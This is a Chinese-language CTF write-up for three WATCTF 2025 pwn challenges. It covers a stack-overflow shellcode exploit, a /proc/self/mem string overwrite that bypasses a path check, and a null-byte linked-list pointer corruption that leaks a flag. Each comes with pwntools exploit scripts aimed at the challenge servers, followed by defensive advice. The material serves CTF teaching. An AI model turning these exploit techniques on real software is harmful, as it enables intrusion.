watctf_f25_PWN_WP
字数 1445 2025-09-23 19:27:38

WATCTF PWN 题目解析与利用技术教学

1. intro2pwn 题目解析

1.1 题目分析

这是一个基础的栈溢出题目,具有以下特点:

  • 架构:amd64-64-little
  • 保护机制:
    • 无RELRO保护
    • 存在栈Canary
    • 栈可执行(Stack: Executable)
    • 无PIE保护
    • 存在RWX段

1.2 漏洞利用

关键漏洞点:

  1. 程序直接使用scanf("%s", buf)读取输入,没有限制长度,导致栈溢出
  2. 程序会打印出buf的地址(printf("Addr: %p\n", buf))
  3. 栈可执行且知道栈地址

利用思路:

  1. 利用栈溢出覆盖返回地址
  2. 在栈上布置shellcode
  3. 将返回地址覆盖为栈上shellcode的地址

1.3 利用代码

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

p = remote("challs.watctf.org", 1991)

# 接收栈地址
reu(b": ")
stack_addr = int(re(14),16)
print(hex(stack_addr))

# 构造payload: shellcode + padding + 返回地址
payload = asm(shellcraft.sh())
payload = payload.ljust(0x58, b"\x00")
payload += p64(stack_addr)

# 发送payload
sela(b"\n", payload)

# 交互模式
p.interactive()

2. hex-editor-xtended-v2 题目解析

2.1 题目分析

这是一个十六进制编辑器程序,具有以下特点:

  • 架构:amd64-64-little
  • 保护机制:
    • Partial RELRO
    • 存在栈Canary
    • NX enabled
    • 无PIE保护

关键限制:

  • 程序禁止访问/secret.txt文件
  • 使用realpathstrncmp组合检查路径

2.2 漏洞利用

利用思路:

  1. 利用/proc/self/mem文件可以读写程序自身内存的特性
  2. 修改内存中硬编码的"/secret.txt"字符串
  3. 绕过路径检查后读取/secret.txt

关键步骤:

  1. 打开/proc/self/mem文件
  2. 定位到.rodata段中"/secret.txt"字符串的地址(0x49704E)
  3. 修改字符串的第一个字符为\x00
  4. 再次尝试打开/secret.txt

2.3 利用代码

from pwn import *

p = process("./pwn")

# 打开内存文件
sela(b"> ", b"open /proc/self/mem")

# 修改.rodata中的"/secret.txt"字符串
sela(b"> ", b"set " + str(0x49704E).encode() + b" " + hex(0x0).encode())
sela(b"> ", b"set " + str(0x49704E).encode() + b" " + hex(0x0).encode())

# 现在可以打开/secret.txt了
sela(b"> ", b"open /secret.txt")

# 读取flag内容
for i in range(50):
    sela(b"> ", b"get " + str(i).encode())
    print(chr(int(re(2),16)), end = "")

p.interactive()

3. person-tracker 题目解析

3.1 题目分析

这是一个人员信息管理程序,具有以下特点:

  • 架构:amd64-64-little
  • 保护机制:
    • Partial RELRO
    • 存在栈Canary
    • NX enabled
    • 无PIE保护

关键数据结构:

typedef struct Person {
    uint64_t age;
    char name[24];
    struct Person *next;
} Person;

漏洞点:

  • 存在null-by-one漏洞,可以修改链表指针

3.2 漏洞利用

利用思路:

  1. 创建多个Person结构体
  2. 利用null-by-one漏洞修改链表指针
  3. 构造一个Person结构体指向flag的内存地址(0x49B21E)
  4. 通过查看功能泄露flag

3.3 利用代码

from pwn import *

p = remote("challs.watctf.org", 5151)

def add(age, name):
    sela(b": ", str(1).encode())
    sela(b": ", str(age).encode())
    sela(b": ", name)

def show(index, choice):
    sela(b": ", str(2).encode())
    sela(b": ", str(index).encode())
    sela(b": ", str(choice).encode())

# 创建多个Person结构体
for i in range(4):
    add(10, b"A"*8)

# 利用null-by-one漏洞修改指针
add(10, b"A"*0x8 + p64(0x49B21E-0x8))
add(10, b"Z"*24)

# 查看flag
show(2, 2)

p.interactive()

4. 关键技术总结

4.1 栈溢出利用技术

  • 当栈可执行且知道栈地址时,可以直接在栈上布置shellcode
  • 需要精确计算偏移量覆盖返回地址
  • 利用程序打印的地址信息定位shellcode位置

4.2 内存文件利用技术

  • /proc/self/mem可以读写进程自身内存
  • 绕过内存保护机制,直接修改只读段数据
  • 需要准确定位目标数据的内存地址

4.3 堆利用技术

  • 利用null-by-one漏洞修改链表指针
  • 通过精心构造的链表实现任意地址读写
  • 需要了解堆布局和内存管理机制

5. 防御建议

  1. 对于栈溢出:

    • 启用栈保护(Stack Canary)
    • 禁用栈执行(NX)
    • 使用安全的输入函数
  2. 对于内存文件利用:

    • 避免将敏感数据硬编码在程序中
    • 对文件路径进行更严格的检查
    • 考虑使用只读内存区域存储关键数据
  3. 对于堆利用:

    • 检查所有内存操作边界
    • 使用安全的链表实现
    • 启用更严格的堆保护机制

通过这三个题目的分析,可以学习到基础的PWN技术栈溢出、内存文件利用和堆利用技术,这些都是CTF PWN题目中的常见考点。

WATCTF PWN 题目解析与利用技术教学 1. intro2pwn 题目解析 1.1 题目分析 这是一个基础的栈溢出题目,具有以下特点: 架构:amd64-64-little 保护机制: 无RELRO保护 存在栈Canary 栈可执行(Stack: Executable) 无PIE保护 存在RWX段 1.2 漏洞利用 关键漏洞点: 程序直接使用 scanf("%s", buf) 读取输入,没有限制长度,导致栈溢出 程序会打印出buf的地址( printf("Addr: %p\n", buf) ) 栈可执行且知道栈地址 利用思路: 利用栈溢出覆盖返回地址 在栈上布置shellcode 将返回地址覆盖为栈上shellcode的地址 1.3 利用代码 2. hex-editor-xtended-v2 题目解析 2.1 题目分析 这是一个十六进制编辑器程序,具有以下特点: 架构:amd64-64-little 保护机制: Partial RELRO 存在栈Canary NX enabled 无PIE保护 关键限制: 程序禁止访问 /secret.txt 文件 使用 realpath 和 strncmp 组合检查路径 2.2 漏洞利用 利用思路: 利用 /proc/self/mem 文件可以读写程序自身内存的特性 修改内存中硬编码的 "/secret.txt" 字符串 绕过路径检查后读取 /secret.txt 关键步骤: 打开 /proc/self/mem 文件 定位到 .rodata 段中 "/secret.txt" 字符串的地址(0x49704E) 修改字符串的第一个字符为 \x00 再次尝试打开 /secret.txt 2.3 利用代码 3. person-tracker 题目解析 3.1 题目分析 这是一个人员信息管理程序,具有以下特点: 架构:amd64-64-little 保护机制: Partial RELRO 存在栈Canary NX enabled 无PIE保护 关键数据结构: 漏洞点: 存在null-by-one漏洞,可以修改链表指针 3.2 漏洞利用 利用思路: 创建多个Person结构体 利用null-by-one漏洞修改链表指针 构造一个Person结构体指向flag的内存地址(0x49B21E) 通过查看功能泄露flag 3.3 利用代码 4. 关键技术总结 4.1 栈溢出利用技术 当栈可执行且知道栈地址时,可以直接在栈上布置shellcode 需要精确计算偏移量覆盖返回地址 利用程序打印的地址信息定位shellcode位置 4.2 内存文件利用技术 /proc/self/mem 可以读写进程自身内存 绕过内存保护机制,直接修改只读段数据 需要准确定位目标数据的内存地址 4.3 堆利用技术 利用null-by-one漏洞修改链表指针 通过精心构造的链表实现任意地址读写 需要了解堆布局和内存管理机制 5. 防御建议 对于栈溢出: 启用栈保护(Stack Canary) 禁用栈执行(NX) 使用安全的输入函数 对于内存文件利用: 避免将敏感数据硬编码在程序中 对文件路径进行更严格的检查 考虑使用只读内存区域存储关键数据 对于堆利用: 检查所有内存操作边界 使用安全的链表实现 启用更严格的堆保护机制 通过这三个题目的分析,可以学习到基础的PWN技术栈溢出、内存文件利用和堆利用技术,这些都是CTF PWN题目中的常见考点。